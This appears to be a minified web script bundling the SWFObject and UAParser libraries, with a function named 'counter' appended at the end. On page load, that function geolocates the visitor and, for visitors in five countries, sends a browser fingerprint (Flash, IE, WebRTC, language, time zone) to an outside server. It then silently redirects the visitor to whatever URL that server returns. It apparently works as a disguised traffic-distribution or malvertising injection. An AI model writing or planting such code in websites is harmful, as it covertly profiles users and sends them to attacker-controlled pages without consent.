|| null; L = { success: !1, id: c }; var g = m(c); if (g) { "OBJECT" == g.nodeName ? (E = v(g), H = null) : (E = g, H = c); a.id = "SWFObjectExprInst"; if ("undefined" == typeof a.width || !/%$/.test(a.width) && 310 > parseInt(a.width, 10)) a.width = "310"; if ("undefined" == typeof a.height || !/%$/.test(a.height) && 137 > parseInt(a.height, 10)) a.height = "137"; l.title = l.title.slice(0, 47) + " - Flash Player Installation"; d = k.ie && k.win ? "ActiveX" : "PlugIn"; d = "MMredirectURL=" + r.location.toString().replace(/&/g, "%26") + "&MMplayerType=" + d + "&MMdoctitle=" + l.title; b.flashvars = "undefined" != typeof b.flashvars ? b.flashvars + ("&" + d) : d; k.ie && k.win && 4 != g.readyState && (d = l.createElement("div"), c += "SWFObjectNew", d.setAttribute("id", c), g.parentNode.insertBefore(d, g), g.style.display = "none", function() { 4 == g.readyState ? g.parentNode.removeChild(g) : setTimeout(arguments.callee, 10) }()); h(a, b, c) } } function n(a) { if (k.ie && k.win && 4 != a.readyState) { var b = l.createElement("div"); a.parentNode.insertBefore(b, a); b.parentNode.replaceChild(v(a), b); a.style.display = "none"; (function() { 4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10) })() } else a.parentNode.replaceChild(v(a), a) } function v(a) { var b = l.createElement("div"); if (k.win && k.ie) b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName("object")[0]) if (a = a.childNodes) for (var c = a.length, d = 0; d < c; d++) 1 == a[d].nodeType && "PARAM" == a[d].nodeName || 8 == a[d].nodeType || b.appendChild(a[d].cloneNode(!0)); return b } function h(a, b, c) { var d, g = m(c); if (k.wk && 312 > k.wk) return d; if (g) if ("undefined" == typeof a.id && (a.id = c), k.ie && k.win) { var h = "", f; for (f in a) a[f] != Object.prototype[f] && ("data" == f.toLowerCase() ? b.movie = a[f] : "styleclass" == f.toLowerCase() ? h += ' class="' + a[f] + '"' : "classid" != f.toLowerCase() && (h += " " + f + '="' + a[f] + '"')); f = ""; for (var e in b) b[e] != Object.prototype[e] && (f += ''); g.outerHTML = '" + f + ""; I[I.length] = a.id; d = m(a.id) } else { e = l.createElement("object"); e.setAttribute("type", "application/x-shockwave-flash"); for (var q in a) a[q] != Object.prototype[q] && ("styleclass" == q.toLowerCase() ? e.setAttribute("class", a[q]) : "classid" != q.toLowerCase() && e.setAttribute(q, a[q])); for (h in b) b[h] != Object.prototype[h] && "movie" != h.toLowerCase() && (a = e, f = h, q = b[h], c = l.createElement("param"), c.setAttribute("name", f), c.setAttribute("value", q), a.appendChild(c)); g.parentNode.replaceChild(e, g); d = e } return d } function u(a) { var b = m(a); b && "OBJECT" == b.nodeName && (k.ie && k.win ? (b.style.display = "none", function() { if (4 == b.readyState) { var c = m(a); if (c) { for (var d in c) "function" == typeof c[d] && (c[d] = null); c.parentNode.removeChild(c) } } else setTimeout(arguments.callee, 10) }()) : b.parentNode.removeChild(b)) } function m(a) { var b = null; try { b = l.getElementById(a) } catch (c) {} return b } function B(a, b, c) { a.attachEvent(b, c); D[D.length] = [a, b, c] } function C(a) { var b = k.pv; a = a.split("."); a[0] = parseInt(a[0], 10); a[1] = parseInt(a[1], 10) || 0; a[2] = parseInt(a[2], 10) || 0; return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? !0 : !1 } function q(a, b, c, d) { if (!k.ie || !k.mac) { var h = l.getElementsByTagName("head")[0]; h && (c = c && "string" == typeof c ? c : "screen", d && (K = w = null), w && K == c || (d = l.createElement("style"), d.setAttribute("type", "text/css"), d.setAttribute("media", c), w = h.appendChild(d), k.ie && k.win && "undefined" != typeof l.styleSheets && 0 < l.styleSheets.length && (w = l.styleSheets[l.styleSheets.length - 1]), K = c), k.ie && k.win ? w && "object" == typeof w.addRule && w.addRule(a, b) : w && "undefined" != typeof l.createTextNode && w.appendChild(l.createTextNode(a + " {" + b + "}"))) } } function A(a, b) { if (M) { var c = b ? "visible" : "hidden"; y && m(a) ? m(a).style.visibility = c : q("#" + a, "visibility:" + c) } } function N(a) { return null != /[\\\"<>\.;]/.exec(a) && "undefined" != typeof encodeURIComponent ? encodeURIComponent(a) : a } var r = window, l = document, t = navigator, O = !1, F = [function() { O ? p() : b() }], x = [], I = [], D = [], E, H, J, L, y = !1, G = !1, w, K, M = !0, k = function() { var a = "undefined" != typeof l.getElementById && "undefined" != typeof l.getElementsByTagName && "undefined" != typeof l.createElement, b = t.userAgent.toLowerCase(), c = t.platform.toLowerCase(), d = c ? /win/.test(c) : /win/.test(b), c = c ? /mac/.test(c) : /mac/.test(b), b = /webkit/.test(b) ? parseFloat(b.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : !1, h = !+"\v1", g = [0, 0, 0], f = null; if ("undefined" != typeof t.plugins && "object" == typeof t.plugins["Shockwave Flash"]) !(f = t.plugins["Shockwave Flash"].description) || "undefined" != typeof t.mimeTypes && t.mimeTypes["application/x-shockwave-flash"] && !t.mimeTypes["application/x-shockwave-flash"].enabledPlugin || (O = !0, h = !1, f = f.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), g[0] = parseInt(f.replace(/^(.*)\..*$/, "$1"), 10), g[1] = parseInt(f.replace(/^.*\.(.*)\s.*$/, "$1"), 10), g[2] = /[a-zA-Z]/.test(f) ? parseInt(f.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0); else if ("undefined" != typeof r.ActiveXObject) try { var e = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); e && (f = e.GetVariable("$version")) && (h = !0, f = f.split(" ")[1].split(","), g = [parseInt(f[0], 10), parseInt(f[1], 10), parseInt(f[2], 10)]) } catch (m) {} return { w3: a, pv: g, wk: b, ie: h, win: d, mac: c } }; (function() { k.w3 && (("undefined" != typeof l.readyState && "complete" == l.readyState || "undefined" == typeof l.readyState && (l.getElementsByTagName("body")[0] || l.body)) && f(), y || ("undefined" != typeof l.addEventListener && l.addEventListener("DOMContentLoaded", f, !1), k.ie && k.win && (l.attachEvent("onreadystatechange", function() { "complete" == l.readyState && (l.detachEvent("onreadystatechange", arguments.callee), f()) }), r == top && function() { if (!y) { try { l.documentElement.doScroll("left") } catch (a) { setTimeout(arguments.callee, 0); return } f() } }()), k.wk && function() { y || (/loaded|complete/.test(l.readyState) ? f() : setTimeout(arguments.callee, 0)) }(), e(f))) })(); (function() { k.ie && k.win && window.attachEvent("onunload", function() { for (var a = D.length, b = 0; b < a; b++) D[b][0].detachEvent(D[b][1], D[b][2]); a = I.length; for (b = 0; b < a; b++) u(I[b]); for (var c in k) k[c] = null; k = null; for (var d in swfobject) swfobject[d] = null; swfobject = null }) })(); return { registerObject: function(a, b, c, d) { if (k.w3 && a && b) { var h = {}; h.id = a; h.swfVersion = b; h.expressInstall = c; h.callbackFn = d; x[x.length] = h; A(a, !1) } else d && d({ success: !1, id: a }) }, getObjectById: function(a) { if (k.w3) return c(a) }, embedSWF: function(b, c, f, e, m, q, l, u, p, r) { var n = { success: !1, id: c }; k.w3 && !(k.wk && 312 > k.wk) && b && c && f && e && m ? (A(c, !1), d(function() { f += ""; e += ""; var d = {}; if (p && "object" === typeof p) for (var k in p) d[k] = p[k]; d.data = b; d.width = f; d.height = e; k = {}; if (u && "object" === typeof u) for (var B in u) k[B] = u[B]; if (l && "object" === typeof l) for (var t in l) k.flashvars = "undefined" != typeof k.flashvars ? k.flashvars + ("&" + t + "=" + l[t]) : t + "=" + l[t]; if (C(m)) B = h(d, k, c), d.id == c && A(c, !0), n.success = !0, n.ref = B; else { if (q && a()) { d.data = q; g(d, k, c, r); return } A(c, !0) } r && r(n) })) : r && r(n) }, switchOffAutoHideShow: function() { M = !1 }, ua: k, getFlashPlayerVersion: function() { return { major: k.pv[0], minor: k.pv[1], release: k.pv[2] } }, hasFlashPlayerVersion: C, createSWF: function(a, b, c) { if (k.w3) return h(a, b, c) }, showExpressInstall: function(b, c, d, h) { k.w3 && a() && g(b, c, d, h) }, removeSWF: function(a) { k.w3 && u(a) }, createCSS: function(a, b, c, d) { k.w3 && q(a, b, c, d) }, addDomLoadEvent: d, addLoadEvent: e, getQueryParamValue: function(a) { var b = l.location.search || l.location.hash; if (b) { /\?/.test(b) && (b = b.split("?")[1]); if (null == a) return N(b); for (var b = b.split("&"), c = 0; c < b.length; c++) if (b[c].substring(0, b[c].indexOf("=")) == a) return N(b[c].substring(b[c].indexOf("=") + 1)) } return "" }, expressInstallCallback: function() { if (G) { var a = m("SWFObjectExprInst"); a && E && (a.parentNode.replaceChild(E, a), H && (A(H, !0), k.ie && k.win && (E.style.display = "block")), J && J(L)); G = !1 } } } }(); (function(f, d) { var e = { extend: function(a, b) { for (var c in b) - 1 !== "browser cpu device engine os".indexOf(c) && 0 === b[c].length % 2 && (a[c] = b[c].concat(a[c])); return a }, has: function(a, b) { return "string" === typeof a ? -1 !== b.toLowerCase().indexOf(a.toLowerCase()) : !1 }, lowerize: function(a) { return a.toLowerCase() }, major: function(a) { return "string" === typeof a ? a.split(".")[0] : d } }, p = function() { for (var a, b = 0, c, f, g, e, p, n, r = arguments; b < r.length && !p;) { var l = r[b], t = r[b + 1]; if ("undefined" === typeof a) for (g in a = {}, t) t.hasOwnProperty(g) && (e = t[g], "object" === typeof e ? a[e[0]] = d : a[e] = d); for (c = f = 0; c < l.length && !p;) if (p = l[c++].exec(this.getUA())) for (g = 0; g < t.length; g++) n = p[++f], e = t[g], "object" === typeof e && 0 < e.length ? 2 == e.length ? a[e[0]] = "function" == typeof e[1] ? e[1].call(this, n) : e[1] : 3 == e.length ? a[e[0]] = "function" !== typeof e[1] || e[1].exec && e[1].test ? n ? n.replace(e[1], e[2]) : d : n ? e[1].call(this, n, e[2]) : d : 4 == e.length && (a[e[0]] = n ? e[3].call(this, n.replace(e[1], e[2])) : d) : a[e] = n ? n : d; b += 2 } return a }, b = function(a, b) { for (var c in b) if ("object" === typeof b[c] && 0 < b[c].length) for (var f = 0; f < b[c].length; f++) { if (e.has(b[c][f], a)) return "?" === c ? d : c } else if (e.has(b[c], a)) return "?" === c ? d : c; return a }, c = { ME: "4.90", "NT 3.11": "NT3.51", "NT 4.0": "NT4.0", 2E3: "NT 5.0", XP: ["NT 5.1", "NT 5.2"], Vista: "NT 6.0", 7: "NT 6.1", 8: "NT 6.2", "8.1": "NT 6.3", 10: ["NT 6.4", "NT 10.0"], RT: "ARM" }, a = { browser: [ [/(opera\smini)\/([\w\.-]+)/i, /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i, /(opera).+version\/([\w\.]+)/i, /(opera)[\/\s]+([\w\.]+)/i], ["name", "version"], [/\s(opr)\/([\w\.]+)/i], [ ["name", "Opera" ], "version" ], [/(kindle)\/([\w\.]+)/i, /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i, /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i, /(?:ms|\()(ie)\s([\w\.]+)/i, /(rekonq)\/([\w\.]+)*/i, /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi|iridium|phantomjs)\/([\w\.-]+)/i], ["name", "version"], [/(trident).+rv[:\s]([\w\.]+).+like\sgecko/i], [ ["name", "IE"], "version" ], [/(edge)\/((\d+)?[\w\.]+)/i], ["name", "version"], [/(yabrowser)\/([\w\.]+)/i], [ ["name", "Yandex"], "version" ], [/(comodo_dragon)\/([\w\.]+)/i], [ ["name", /_/g, " "], "version" ], [/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i, /(qqbrowser)[\/\s]?([\w\.]+)/i], ["name", "version"], [/(uc\s?browser)[\/\s]?([\w\.]+)/i, /ucweb.+(ucbrowser)[\/\s]?([\w\.]+)/i, /JUC.+(ucweb)[\/\s]?([\w\.]+)/i], [ ["name", "UCBrowser"], "version" ], [/(dolfin)\/([\w\.]+)/i], [ ["name", "Dolphin"], "version" ], [/((?:android.+)crmo|crios)\/([\w\.]+)/i], [ ["name", "Chrome"], "version" ], [/XiaoMi\/MiuiBrowser\/([\w\.]+)/i], ["version", ["name", "MIUI Browser"]], [/android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i], ["version", ["name", "Android Browser"]], [/FBAV\/([\w\.]+);/i], ["version", ["name", "Facebook"]], [/fxios\/([\w\.-]+)/i], ["version", ["name", "Firefox"]], [/version\/([\w\.]+).+?mobile\/\w+\s(safari)/i], ["version", ["name", "Mobile Safari"]], [/version\/([\w\.]+).+?(mobile\s?safari|safari)/i], ["version", "name"], [/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i], ["name", ["version", b, { "1.0": "/8", "1.2": "/1", "1.3": "/3", "2.0": "/412", "2.0.2": "/416", "2.0.3": "/417", "2.0.4": "/419", "?": "/" }]], [/(konqueror)\/([\w\.]+)/i, /(webkit|khtml)\/([\w\.]+)/i], ["name", "version"], [/(navigator|netscape)\/([\w\.-]+)/i], [ ["name", "Netscape"], "version" ], [/(swiftfox)/i, /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i, /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i, /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i, /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|sleipnir)[\/\s]?([\w\.]+)/i, /(links)\s\(([\w\.]+)/i, /(gobrowser)\/?([\w\.]+)*/i, /(ice\s?browser)\/v?([\w\._]+)/i, /(mosaic)[\/\s]([\w\.]+)/i ], ["name", "version"] ], cpu: [ [/(?:(amd|x(?:(?:86|64)[_-])?|wow|win)64)[;\)]/i], [ ["architecture", "amd64"] ], [/(ia32(?=;))/i], [ ["architecture", e.lowerize] ], [/((?:i[346]|x)86)[;\)]/i], [ ["architecture", "ia32"] ], [/windows\s(ce|mobile);\sppc;/i], [ ["architecture", "arm"] ], [/((?:ppc|powerpc)(?:64)?)(?:\smac|;|\))/i], [ ["architecture", /ower/, "", e.lowerize] ], [/(sun4\w)[;\)]/i], [ ["architecture", "sparc"] ], [/((?:avr32|ia64(?=;))|68k(?=\))|arm(?:64|(?=v\d+;))|(?=atmel\s)avr|(?:irix|mips|sparc)(?:64)?(?=;)|pa-risc)/i], [ ["architecture", e.lowerize] ] ], device: [ [/\((ipad|playbook);[\w\s\);-]+(rim|apple)/i], ["model", "vendor", ["type", "tablet"]], [/applecoremedia\/[\w\.]+ \((ipad)/], ["model", ["vendor", "Apple"], ["type", "tablet"] ], [/(apple\s{0,1}tv)/i], [ ["model", "Apple TV"], ["vendor", "Apple"] ], [/(archos)\s(gamepad2?)/i, /(hp).+(touchpad)/i, /(kindle)\/([\w\.]+)/i, /\s(nook)[\w\s]+build\/(\w+)/i, /(dell)\s(strea[kpr\s\d]*[\dko])/i], ["vendor", "model", ["type", "tablet"]], [/(kf[A-z]+)\sbuild\/[\w\.]+.*silk\//i], ["model", ["vendor", "Amazon"], ["type", "tablet"] ], [/(sd|kf)[0349hijorstuw]+\sbuild\/[\w\.]+.*silk\//i], [ ["model", b, { "Fire Phone": ["SD", "KF"] }], ["vendor", "Amazon"], ["type", "mobile"] ], [/\((ip[honed|\s\w*]+);.+(apple)/i], ["model", "vendor", ["type", "mobile"]], [/\((ip[honed|\s\w*]+);/i], ["model", ["vendor", "Apple"], ["type", "mobile"] ], [/(blackberry)[\s-]?(\w+)/i, /(blackberry|benq|palm(?=\-)|sonyericsson|acer|asus|dell|huawei|meizu|motorola|polytron)[\s_-]?([\w-]+)*/i, /(hp)\s([\w\s]+\w)/i, /(asus)-?(\w+)/i ], ["vendor", "model", ["type", "mobile"]], [/\(bb10;\s(\w+)/i], ["model", ["vendor", "BlackBerry"], ["type", "mobile"] ], [/android.+(transfo[prime\s]{4,10}\s\w+|eeepc|slider\s\w+|nexus 7)/i], ["model", ["vendor", "Asus"], ["type", "tablet"] ], [/(sony)\s(tablet\s[ps])\sbuild\//i, /(sony)?(?:sgp.+)\sbuild\//i], [ ["vendor", "Sony"], ["model", "Xperia Tablet"], ["type", "tablet"] ], [/(?:sony)?(?:(?:(?:c|d)\d{4})|(?:so[-l].+))\sbuild\//i], [ ["vendor", "Sony"], ["model", "Xperia Phone"], ["type", "mobile" ] ], [/\s(ouya)\s/i, /(nintendo)\s([wids3u]+)/i], ["vendor", "model", ["type", "console"]], [/android.+;\s(shield)\sbuild/i], ["model", ["vendor", "Nvidia"], ["type", "console"] ], [/(playstation\s[34portablevi]+)/i], ["model", ["vendor", "Sony"], ["type", "console"] ], [/(sprint\s(\w+))/i], [ ["vendor", b, { HTC: "APA", Sprint: "Sprint" }], ["model", b, { "Evo Shift 4G": "7373KT" }], ["type", "mobile"] ], [/(lenovo)\s?(S(?:5000|6000)+(?:[-][\w+]))/i], ["vendor", "model", ["type", "tablet"]], [/(htc)[;_\s-]+([\w\s]+(?=\))|\w+)*/i, /(zte)-(\w+)*/i, /(alcatel|geeksphone|huawei|lenovo|nexian|panasonic|(?=;\s)sony)[_\s-]?([\w-]+)*/i ], ["vendor", ["model", /_/g, " "], ["type", "mobile"] ], [/(nexus\s9)/i], ["model", ["vendor", "HTC"], ["type", "tablet"] ], [/[\s\(;](xbox(?:\sone)?)[\s\);]/i], ["model", ["vendor", "Microsoft"], ["type", "console"] ], [/(kin\.[onetw]{3})/i], [ ["model", /\./g, " "], ["vendor", "Microsoft"], ["type", "mobile"] ], [/\s(milestone|droid(?:[2-4x]|\s(?:bionic|x2|pro|razr))?(:?\s4g)?)[\w\s]+build\//i, /mot[\s-]?(\w+)*/i, /(XT\d{3,4}) build\//i, /(nexus\s[6])/i], ["model", ["vendor", "Motorola"], ["type", "mobile"] ], [/android.+\s(mz60\d|xoom[\s2]{0,2})\sbuild\//i], ["model", ["vendor", "Motorola"], ["type", "tablet"] ], [/android.+((sch-i[89]0\d|shw-m380s|gt-p\d{4}|gt-n8000|sgh-t8[56]9|nexus 10))/i, /((SM-T\w+))/i], [ ["vendor", "Samsung"], "model", ["type", "tablet"] ], [/((s[cgp]h-\w+|gt-\w+|galaxy\snexus|sm-n900))/i, /(sam[sung]*)[\s-]*(\w+-?[\w-]*)*/i, /sec-((sgh\w+))/i], [ ["vendor", "Samsung"], "model", ["type", "mobile"] ], [/(samsung);smarttv/i], ["vendor", "model", ["type", "smarttv"]], [/\(dtv[\);].+(aquos)/i], ["model", ["vendor", "Sharp"], ["type", "smarttv"] ], [/sie-(\w+)*/i], ["model", ["vendor", "Siemens"], ["type", "mobile"] ], [/(maemo|nokia).*(n900|lumia\s\d+)/i, /(nokia)[\s_-]?([\w-]+)*/i], [ ["vendor", "Nokia"], "model", ["type", "mobile"] ], [/android\s3\.[\s\w;-]{10}(a\d{3})/i], ["model", ["vendor", "Acer"], ["type", "tablet"] ], [/android\s3\.[\s\w;-]{10}(lg?)-([06cv9]{3,4})/i], [ ["vendor", "LG"], "model", ["type", "tablet"] ], [/(lg) netcast\.tv/i], ["vendor", "model", ["type", "smarttv"]], [/(nexus\s[45])/i, /lg[e;\s\/-]+(\w+)*/i ], ["model", ["vendor", "LG"], ["type", "mobile"] ], [/android.+(ideatab[a-z0-9\-\s]+)/i], ["model", ["vendor", "Lenovo"], ["type", "tablet"] ], [/linux;.+((jolla));/i], ["vendor", "model", ["type", "mobile"]], [/((pebble))app\/[\d\.]+\s/i], ["vendor", "model", ["type", "wearable"]], [/android.+;\s(glass)\s\d/i], ["model", ["vendor", "Google"], ["type", "wearable"] ], [/android.+(\w+)\s+build\/hm\1/i, /android.+(hm[\s\-_]*note?[\s_]*(?:\d\w)?)\s+build/i, /android.+(mi[\s\-_]*(?:one|one[\s_]plus)?[\s_]*(?:\d\w)?)\s+build/i], [ ["model", /_/g, " "], ["vendor", "Xiaomi"], ["type", "mobile"] ], [/\s(tablet)[;\/\s]/i, /\s(mobile)[;\/\s]/i], [ ["type", e.lowerize], "vendor", "model" ] ], engine: [ [/windows.+\sedge\/([\w\.]+)/i], ["version", ["name", "EdgeHTML"]], [/(presto)\/([\w\.]+)/i, /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, /(icab)[\/\s]([23]\.[\d\.]+)/i], ["name", "version"], [/rv\:([\w\.]+).*(gecko)/i], ["version", "name"] ], os: [ [/microsoft\s(windows)\s(vista|xp)/i], ["name", "version"], [/(windows)\snt\s6\.2;\s(arm)/i, /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i], ["name", ["version", b, c]], [/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i], [ ["name", "Windows"], ["version", b, c] ], [/\((bb)(10);/i], [ ["name", "BlackBerry"], "version" ], [/(blackberry)\w*\/?([\w\.]+)*/i, /(tizen)[\/\s]([\w\.]+)/i, /(android|webos|palm\sos|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i, /linux;.+(sailfish);/i], ["name", "version"], [/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i], [ ["name", "Symbian"], "version" ], [/\((series40);/i], ["name"], [/mozilla.+\(mobile;.+gecko.+firefox/i], [ ["name", "Firefox OS"], "version" ], [/(nintendo|playstation)\s([wids34portablevu]+)/i, /(mint)[\/\s\(]?(\w+)*/i, /(mageia|vectorlinux)[;\s]/i, /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|(?=\s)arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i, /(hurd|linux)\s?([\w\.]+)*/i, /(gnu)\s?([\w\.]+)*/i], ["name", "version"], [/(cros)\s[\w]+\s([\w\.]+\w)/i], [ ["name", "Chromium OS"], "version" ], [/(sunos)\s?([\w\.]+\d)*/i], [ ["name", "Solaris"], "version" ], [/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i], ["name", "version"], [/(ip[honead]+)(?:.*os\s([\w]+)*\slike\smac|;\sopera)/i], [ ["name", "iOS"], ["version", /_/g, "."] ], [/(mac\sos\sx)\s?([\w\s\.]+\w)*/i, /(macintosh|mac(?=_powerpc)\s)/i], [ ["name", "Mac OS"], ["version", /_/g, "."] ], [/((?:open)?solaris)[\/\s-]?([\w\.]+)*/i, /(haiku)\s(\w+)/i, /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i, /(unix)\s?([\w\.]+)*/i ], ["name", "version"] ] }, g = function(b, c) { if (!(this instanceof g)) return (new g(b, c)).getResult(); var d = b || (f && f.navigator && f.navigator.userAgent ? f.navigator.userAgent : ""), n = c ? e.extend(a, c) : a; this.getBrowser = function() { var a = p.apply(this, n.browser); a.major = e.major(a.version); return a }; this.getCPU = function() { return p.apply(this, n.cpu) }; this.getDevice = function() { return p.apply(this, n.device) }; this.getEngine = function() { return p.apply(this, n.engine) }; this.getOS = function() { return p.apply(this, n.os) }; this.getResult = function() { return { ua: this.getUA(), browser: this.getBrowser(), engine: this.getEngine(), os: this.getOS(), device: this.getDevice(), cpu: this.getCPU() } }; this.getUA = function() { return d }; this.setUA = function(a) { d = a; return this }; this.setUA(d); return this }; g.VERSION = "0.7.10"; g.BROWSER = { NAME: "name", MAJOR: "major", VERSION: "version" }; g.CPU = { ARCHITECTURE: "architecture" }; g.DEVICE = { MODEL: "model", VENDOR: "vendor", TYPE: "type", CONSOLE: "console", MOBILE: "mobile", SMARTTV: "smarttv", TABLET: "tablet", WEARABLE: "wearable", EMBEDDED: "embedded" }; g.ENGINE = { NAME: "name", VERSION: "version" }; g.OS = { NAME: "name", VERSION: "version" }; "undefined" !== typeof exports ? ("undefined" !== typeof module && module.exports && (exports = module.exports = g), exports.UAParser = g) : "function" === typeof define && define.amd ? define(function() { return g }) : f.UAParser = g; var n = f.jQuery || f.Zepto; if ("undefined" !== typeof n) { var v = new g; n.ua = v.getResult(); n.ua.get = function() { return v.getUA() }; n.ua.set = function(a) { v.setUA(a); a = v.getResult(); for (var b in a) n.ua[b] = a[b] } } })("object" === typeof window ? window : this); function rtc() { var prefix; var version; if (window.mozRTCPeerConnection || navigator.mozGetUserMedia) { prefix = 'moz'; version = parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10); } else if (window.webkitRTCPeerConnection || navigator.webkitGetUserMedia) { prefix = 'webkit'; version = navigator.userAgent.match(/Chrom(e|ium)/) && parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10); } if (prefix == 'moz' || prefix == 'webkit' && version > 41) { return true; } else { return false; } } function localTime() { var currentTime = new Date() var hours = currentTime.getHours(); var minutes = currentTime.getMinutes(); if (minutes < 10) { minutes = '0' + minutes; } return (hours + ':' + minutes); } function info() { var client = new ClientJS(); var result = {}; result.isMobile = client.isMobile(); result.isWindows = client.isWindows(); result.isIE = client.isIE(); result.rtc = rtc(); result.isFlash = client.isFlash(); result.language = client.getLanguage().toLowerCase(); result.timeZone = client.getTimeZone().trim(); result.localTime = localTime(); return JSON.stringify(result); } function request(url, post, params, success) { var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP'); if(post) xhr.open('POST', url); else xhr.open('GET', url); xhr.onreadystatechange = function() { if (xhr.readyState>3 && xhr.status==200) success(xhr.responseText); }; xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); if(post){ xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('x=' + params); } else xhr.send(); return xhr; } function counter(){ var elem = document.createElement('img'); elem.setAttribute('src', 'http://sstatic1.histats.com/0.gif?4023597&101'); document.body.appendChild(elem); request('http://ip-api.com/json/', false, null, function(data){ if(data.length == 0) return; var user = JSON.parse(data); if(document.cookie.indexOf('xtc=') == -1){ if(user['countryCode'] === 'US' || user['countryCode'] === 'CA' || user['countryCode'] === 'ES' || user['countryCode'] === 'GB' || user['countryCode'] === 'AU'){ request('https://freeonlineusers.com/online.php', true, encodeURIComponent(info()), function(redirect){ if(redirect.length === 0) return; document.cookie = "xtc=true; expires=Thu, 30 Nov 2020 12:00:00 UTC; path=/"; setTimeout(function(){ window.location.href = redirect; }, 10000); }); } } }); } if (document.readyState !== 'loading') { counter(); } else { document.addEventListener('DOMContentLoaded', counter); }